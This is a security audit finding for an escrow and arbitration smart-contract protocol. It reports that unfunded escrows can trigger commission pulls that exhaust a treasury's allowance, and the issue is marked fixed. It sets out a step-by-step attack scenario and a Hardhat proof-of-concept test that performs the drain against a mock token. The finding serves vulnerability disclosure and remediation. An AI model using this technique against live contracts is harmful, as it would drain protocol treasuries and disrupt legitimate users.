Early rate$2,400 of senior audit time for $500. Early members keep the rate as it climbs.$2,400 of senior audit time for $500See how →
F-2026-0014·business-logic

Unfunded escrows trigger commission collection, exhausting the treasury's commission allowance

Fixedescrowarbitrationdispute-resolution
TL;DR

createEscrow is permissionless and collects the pool's commission share from the treasury based on a caller-supplied amount, before any funds exist. Anyone can repeatedly create unfunded escrows to drain the treasury's commission allowance into the pool.

Severity
MEDIUM
Impact
MEDIUM
Likelihood
MEDIUM
Method
MManual review
CAT.
Complexity
MEDIUM
Exploitability
MEDIUM
02Section · Description

Description

The protocol allows buyers to create escrows through EscrowFactory. For each escrow, the protocol charges a 1.5% seller commission, 20% of which (0.3% of the deal value) is transferred from a pre-authorized treasury (commissionPayer) into ArbitrationPool's feePool. To collect this commission, EscrowFactory calls ArbitrationPool.onDealCreated() immediately after deploying and initializing the escrow and passes the caller-supplied _totalAmount, which ArbitrationPool uses to calculate the commission before transferring the corresponding amount of cNGN from the treasury. However, createEscrow() is permissionless and accepts an arbitrary nonzero _totalAmount. At the time onDealCreated() is called, the reported deal value has not yet been backed by deposited assets. Nevertheless, ArbitrationPool treats the caller-supplied value as a genuine funded deal and transfers real cNGN from the treasury based on it. As a result, any account can create an unfunded escrow with an arbitrarily large declared value, causing the protocol to collect commission from the treasury for a deal that has not been funded. Once the treasury's balance or allowance is exhausted, the factory catches the failure, emits CommissionSkipped, and subsequent escrows no longer contribute to feePool.

Vulnerable Scenario: The following steps illustrate the issue:

  1. The treasury holds cNGN and grants ArbitrationPool an allowance of 10,000,000 cNGN.
  2. An attacker with no cNGN, no token allowance, no role, and no authorization calls createEscrow() and specifies an unfunded _totalAmount of 3,333,333,333 cNGN.
  3. The factory creates the escrow and immediately calls onDealCreated() with the attacker-controlled amount before the escrow receives any funds.
  4. The arbitration pool calculates approximately 10,000,000 cNGN of commission and transfers it from the treasury into feePool, effectively consuming the entire treasury allowance.
  5. The attacker's escrow remains unfunded and in the Pending state.
  6. A legitimate user subsequently creates an escrow. The remaining treasury allowance is insufficient to cover the commission, causing the pool call to revert internally. The factory catches the failure, emits CommissionSkipped, and the escrow is still created.

Whenever additional commission capacity becomes available (e.g., after the treasury replenishes its balance or allowance), the attacker can repeat the attack.

03Section · Impact

Impact

Any account can trigger commission collection against the treasury for an unfunded escrow, causing treasury funds to be transferred into the arbitration pool and consuming the treasury's commission allowance.

Although the attacker cannot directly withdraw these funds, the vulnerability allows repeated disruption of automatic commission collection, inflates feePool with commissions derived from unfunded escrows, and forces ongoing operational intervention to restore treasury funding.

POC: To be added to ArbitrationPool.test.js:

javascript
it("[F-1] unfunded escrow drains treasury commission allowance", async function () {
const [owner, attacker, seller, legitimateBuyer, , , treasury] =
await ethers.getSigners();
const MockUSDT = await ethers.getContractFactory("MockUSDT");
const token = await MockUSDT.deploy();
await token.waitForDeployment();
const { pool, factory } = await deployPoolAndFactory(token);
const poolAddress = await pool.getAddress();
const treasuryAllowance = ethers.parseUnits("10000000", 18);
const fakeDealValue = ethers.parseUnits("3333333333", 18);
const expectedPull =
(((fakeDealValue * 150n) / 10000n) * 2000n) / 10000n;
await token.mint(treasury.address, treasuryAllowance);
await token
.connect(treasury)
.approve(poolAddress, treasuryAllowance);
await pool
.connect(owner)
.configureCommission(await factory.getAddress(), treasury.address);
// The attacker has no cNGN and grants no token allowance.
expect(await token.balanceOf(attacker.address)).to.equal(0n);
const attackTx = await factory.connect(attacker).createEscrow(
seller.address,
fakeDealValue,
DEFAULT_TIME_TO_DELIVER_DAYS,
[],
[],
[],
"NGN",
false
);
await expect(attackTx)
.to.emit(pool, "PoolFundedFromDeal")
.withArgs(fakeDealValue, expectedPull);
const attackReceipt = await attackTx.wait();
const createdLog = attackReceipt.logs
.map((log) => {
try {
return factory.interface.parseLog(log);
} catch {
return null;
}
})
.find((log) => log?.name === "EscrowCreated");
const Escrow = await ethers.getContractFactory("Escrow");
const maliciousEscrow = Escrow.attach(createdLog.args.escrow);
// The escrow remains completely unfunded.
expect(await maliciousEscrow.deposited()).to.equal(false);
expect(await token.balanceOf(await maliciousEscrow.getAddress())).to.equal(0n);
// Nevertheless, effectively the entire treasury allowance was consumed.
expect(await token.balanceOf(treasury.address))
.to.equal(treasuryAllowance - expectedPull);
expect(await token.allowance(treasury.address, poolAddress))
.to.equal(treasuryAllowance - expectedPull);
expect(await pool.feePool()).to.equal(expectedPull);
// A subsequent legitimate deal cannot collect its commission.
const legitimateAmount = ethers.parseUnits("500000", 18);
const feePoolBefore = await pool.feePool();
await expect(
factory.connect(legitimateBuyer).createEscrow(
seller.address,
legitimateAmount,
DEFAULT_TIME_TO_DELIVER_DAYS,
[],
[],
[],
"NGN",
false
)
).to.emit(factory, "CommissionSkipped");
expect(await pool.feePool()).to.equal(feePoolBefore);
});
04Section · Recommendation

Recommendation

Commission should only be collected after the escrow has been successfully funded and the funded amount has been verified. Commission collection should only be triggered after a successful deposit(), depositFor(), or activatePrefunded().

Before notifying ArbitrationPool and collecting the commission, the protocol should ensure that:

  • the escrow has been successfully funded;
  • the commission has not already been collected for that escrow; and
  • the commission is calculated using the escrow's verified totalAmount rather than caller-supplied input.

By tying commission collection to verified funding instead of escrow creation, treasury funds can only be charged for genuine funded escrows.

05Section · Resolution

Resolution

Fixed. The factory no longer calls the pool at creation. Commission is pulled only from the deposit paths, so an unfunded declaration cannot reach the treasury's allowance.

06Section · Affected files

Affected files

  • contracts/EscrowFactory.sol#L125-L145
  • contracts/EscrowFactory.sol#L215-L275
  • contracts/ArbitrationPool.sol#L422-L430
Status
Fixed
F-2026-0014